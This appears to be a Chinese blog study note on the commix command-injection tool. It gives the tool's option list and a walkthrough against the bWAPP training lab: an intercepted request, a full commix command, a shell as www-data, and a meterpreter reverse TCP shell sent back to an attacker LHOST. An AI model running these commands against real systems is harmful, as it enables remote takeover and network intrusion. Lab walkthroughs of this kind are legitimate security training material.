commix工具配合命令注入

commix简介

commix是一款由python编写,开源自动化检测系统命令注入工具  https://github.com/commixproject/commix

commix 参数

  • 选项:

  •     -v           VERBOSE详细程度级别(0-1,默认值:0)。

  •     --version       显示版本号并退出。

  •     --output-dir=..   设置自定义输出目录路径。

  •     -s SESSION_FILE   从存储(.sqlite)文件加载会话。

  •     --flush-session   刷新当前目标的会话文件。

  •     --ignore-session  忽略存储在会话文件中的结果。

  •   目标:

  •     -u URL,--url = URL  目标URL。

  •     --url-reload      在命令执行后重新加载目标URL。

  •     -l LOGFILE       解析来自HTTP代理日志文件的目标和数据。

  •     --crawl = CRAWLDEPTH  从目标网址开始抓取网站(1-2,默认值:0)。

  •   请求:

  •     --data=DATA      要通过POST发送的数据字符串。

  •     --host=HOST       HTTP主机头。

  •     --referer=REFERER   HTTP Referer标头。

  •     --user-agent=AGENT  HTTP用户代理头。

  •     --random-agent    使用随机选择的HTTP User-Agent头。

  •     --param-del=PDEL   设置分割参数值的字符。

  •     --cookie=COOKIE    HTTP Cookie头。

  •     --cookie-del=CDEL   设置分割cookie值的字符。

  •     --headers=HEADERS   额外标头(例如「Header1:Value1  nHeader2:Value2」)。

  •     --proxy=PROXY     使用HTTP代理(例如“127.0.0.1:8080”)。

  •     --tor          使用Tor网络。

  •     --tor-port=...      设置Tor代理端口(默认值:8118)。

  •     --auth-url=...     登录面板URL。

  •     --auth-data =AUTH   登录参数和数据。

  •     --auth-type =AUTH   HTTP认证类型(例如“基本”或“摘要”)。

  •     --auth-cred =AUTH   HTTP身份验证凭据(例如“admin:admin”)。

  •     --ignore-401      忽略HTTP错误401(未授权)。

  •     --force-ssl      强制使用SSL / HTTPS。

  •   枚举:

  •     这些选项可用于枚举目标主机。

  •     --all            检索一切。

  •     --current-user       检索当前用户名。

  •     --hostname         检索当前主机名。

  •     --is-root          检查当前用户是否具有root权限。

  •     --is-admin         检查当前用户是否具有管理员权限。

  •     --sys-info         检索系统信息。

  •     --users           检索系统用户。

  •     --passwords         检索系统用户密码散列。

  •     --privileges        检索系统用户权限。

  •     --ps-version        检索PowerShell的版本号。

  •   文件访问:

  •     这些选项可用于访问目标主机上的文件。

  •     --file-read = FILE ..  从目标主机读取文件。

  •     --file-write = FIL ..  写入目标主机上的文件。

  •     --file-upload = FI ..  在目标主机上上传文件。

  •     --file-dest = FILE ..  写入和/或上传到的主机的绝对文件路径。

  •   模块:

  •     这些选项可用于增加检测和/或注射能力。

  •     --icmp-exfil = IP_ ..'ICMP exfiltration'注入模块。  (例如'ip_src = 192.168.178.1,ip_dst = 192.168.178.3')。

  •     --dns-server = DNS ..“DNS exfiltration”注入模块。  (用于DNS筛选攻击的域名)。

  •     --shellshock“炮弹”注射模块。

  •   注射:

  •     这些选项可用于指定要插入和输入的参数,提供定制注入有效负载。

  •     -p TEST_PARAMETER    可测试参数。

  •     --suffix = SUFFIX    注入有效负载后缀字符串。

  •     --prefix = PREFIX    注入有效负载前缀字符串。

  •     --technique = TECH   指定要使用的进样技术。

  •     --maxlen = MAXLEN    设置与时间相关的最大输出长度,注射技术(默认:10000字符)。

  •     --delay = DELAY     设置与时间相关的注入的自定义时间延迟术(默认:1秒)。

  •     --tmp-path = TMP_P ..  设置Web服务器的临时目录的绝对路径。

  •     --root-dir = SRV_R ..  设置Web服务器根目录的绝对路径。

  •     --alter-shell = AL ..  使用另一个os-shell(例如'Python')。

  •     --os-cmd = OS_CMD    执行单个操作系统命令。

  •     --os = OS        将后端操作系统强制为此值。

  •     --tamper = TAMPER   使用给定脚本篡改注射数据。

  •   检测:

  •     这些选项可用于自定义检测阶段。

  •     --level = LEVEL  要执行的测试级别(1-3,默认值:1)。

  •     --skip-calc    在检测期间跳过数学计算

  •     --dependencies  检查第三方(非内核)依赖关系。

演示

POST /bWAPP/commandi.php HTTP/1.1

Host: 192.168.115.12

Referer: http://192.115.12bWAPP/commandi.php

Cookie: acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=mq78064h3p2b00n4toerk7ana1; security_level=0 

target=www.nsa.gov&form=submit

commix利用

~# commix --url "http://192.168.115.12/bWAPP/commandi.php" --cookie="acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=mq78064h3p2b00n4toerk7ana1; security_level=0" --data="target=www.nsa.gov&form=submit"

询问是否想要一个shell 输入Y 的到shell

[?] Do you want a Pseudo-Terminal shell? [Y/n] > y

Pseudo-Terminal (type '?' for available options)

commix(os_shell) > 

 得到shell

commix(os_shell) > pwd 

/owaspbwa/bwapp-git/bWAPP

commix(os_shell) > id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

commix(os_shell) > ls -ll 

可以进行反弹shell 结合metasploit 进行内网渗透

commix(os_shell) > reverse_tcp  

commix(reverse_tcp) > set LHOST 192.168.120.101 """(msf机器)

LHOST => 192.168.120.101

commix(reverse_tcp) > set LPORT 4444

LPORT => 4444

   

---[ Reverse TCP shells ]---     

Type '1' to use a netcat reverse TCP shell.

Type '2' for other reverse TCP shells.

commix(reverse_tcp) > 2 

---[ Unix-like reverse TCP shells ]---

Type '1' to use a PHP reverse TCP shell.

Type '2' to use a Perl reverse TCP shell.

Type '3' to use a Ruby reverse TCP shell. 

Type '4' to use a Python reverse TCP shell.

Type '5' to use a Socat reverse TCP shell.

Type '6' to use a Bash reverse TCP shell.

Type '7' to use a Ncat reverse TCP shell.

---[ Meterpreter reverse TCP shells ]---

Type '8' to use a PHP meterpreter reverse TCP shell.

Type '9' to use a Python meterpreter reverse TCP shell. 

Type '10' to use a Windows meterpreter reverse TCP shell. 

Type '11' to use the web delivery script. 

commix(reverse_tcp_other) > 8

[*] Generating the 'php/meterpreter/reverse_tcp' payload... [ SUCCEED ]

[*] Type "msfconsole -r /usr/share/commix/php_meterpreter.rc" (in a new window). #复制 启动msf

[*] Once the loading is done, press here any key to continue...  #按下确定建就可进行在msf接收到反弹的shell

[+] Everything is in place, cross your fingers and wait for a shell!

总结 commix工具利用

1.访问 web页面http://192.168.115.12/bWAPP/commandi.php

2.提交数据 通过抓包工具截取 url  cookie  data数据

3.用commix 工具指定链接并进入后台

    commix  -- url "http://192.168.115.12/bWAPP/commandi.php"   --data="target=www.nsa.gov&form=submit"  --cookie "xxxxxxxxxxxxxxxxxxxxxxx"

本博客记录Sylon的学习总结和学习情况做记录 望今后能记录自己的学习之路,同时分享高品质博文!!!
原文地址:https://www.cnblogs.com/Sylon/p/11747479.html